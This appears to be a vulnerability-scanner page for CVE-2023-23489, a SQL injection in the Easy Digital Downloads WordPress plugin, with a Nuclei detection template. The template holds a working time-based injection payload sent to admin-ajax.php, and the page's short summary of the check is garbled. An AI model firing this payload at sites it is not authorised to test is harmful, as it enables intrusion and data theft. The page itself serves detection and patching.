Browse / CVEs / CVE-2023-23489
CVE-2023-23489· sandhillsdev / easy digital downloads· CWE-89
WordPress Easy Digital Downloads 3.1.0.2/3.1.0.3 - SQL Injection
WordPress Easy Digital Downloads plugin 3.1.0.2 and 3.1.0.3 contains a SQL injection vulnerability in the s parameter of its edd_download_search action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
Fix
Update to the latest version of Easy Digital Downloads plugin (3.1.0.4 or higher) to mitigate the SQL Injection vulnerability.
How to confirm it
Send: @timeout: 10s ; GET /wp-content/plugins/easy-digital-downloads/readme.txt
Positive when: duration_1>=6 and status_code_1 == 200 and contains(body_1, "[]") && contains(body_2, "Easy Digital Downloads")Run it with nuclei: nuclei -id CVE-2023-23489 -u <target>
The full check
id: CVE-2023-23489
info:
name: WordPress Easy Digital Downloads 3.1.0.2/3.1.0.3 - SQL Injection
author: theamanrawat
severity: critical
description: |
WordPress Easy Digital Downloads plugin 3.1.0.2 and 3.1.0.3 contains a SQL injection vulnerability in the s parameter of its edd_download_search action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
remediation: |
Update to the latest version of Easy Digital Downloads plugin (3.1.0.4 or higher) to mitigate the SQL Injection vulnerability.
reference:
- https://wpscan.com/vulnerability/c5a6830c-6420-42fc-b20c-8e20224d6f18
- https://wordpress.org/plugins/easy-digital-downloads/
- https://www.tenable.com/security/research/tra-2023-2
- https://nvd.nist.gov/vuln/detail/CVE-2023-23489
- https://github.com/JoshuaMart/JoshuaMart
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-23489
cwe-id: CWE-89
epss-score: 0.11286
epss-percentile: 0.96006
cpe: cpe:2.3:a:sandhillsdev:easy_digital_downloads:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: sandhillsdev
product: easy_digital_downloads
framework: wordpress
tags: time-based-sqli,cve,cve2023,easy-digital-downloads,unauth,wpscan,wordpress,wp,wp-plugin,sqli,tenable,sandhillsdev,vkev,vuln
http:
- raw:
- |
@timeout: 10s
GET /wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-content/plugins/easy-digital-downloads/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration_1>=6'
- 'status_code_1 == 200'
- 'contains(body_1, "[]") && contains(body_2, "Easy Digital Downloads")'
condition: andReferences
- https://wpscan.com/vulnerability/c5a6830c-6420-42fc-b20c-8e20224d6f18
- https://wordpress.org/plugins/easy-digital-downloads/
- https://www.tenable.com/security/research/tra-2023-2
- https://nvd.nist.gov/vuln/detail/CVE-2023-23489
- https://github.com/JoshuaMart/JoshuaMart
Use this check only on systems you are authorised to test. Where the data comes from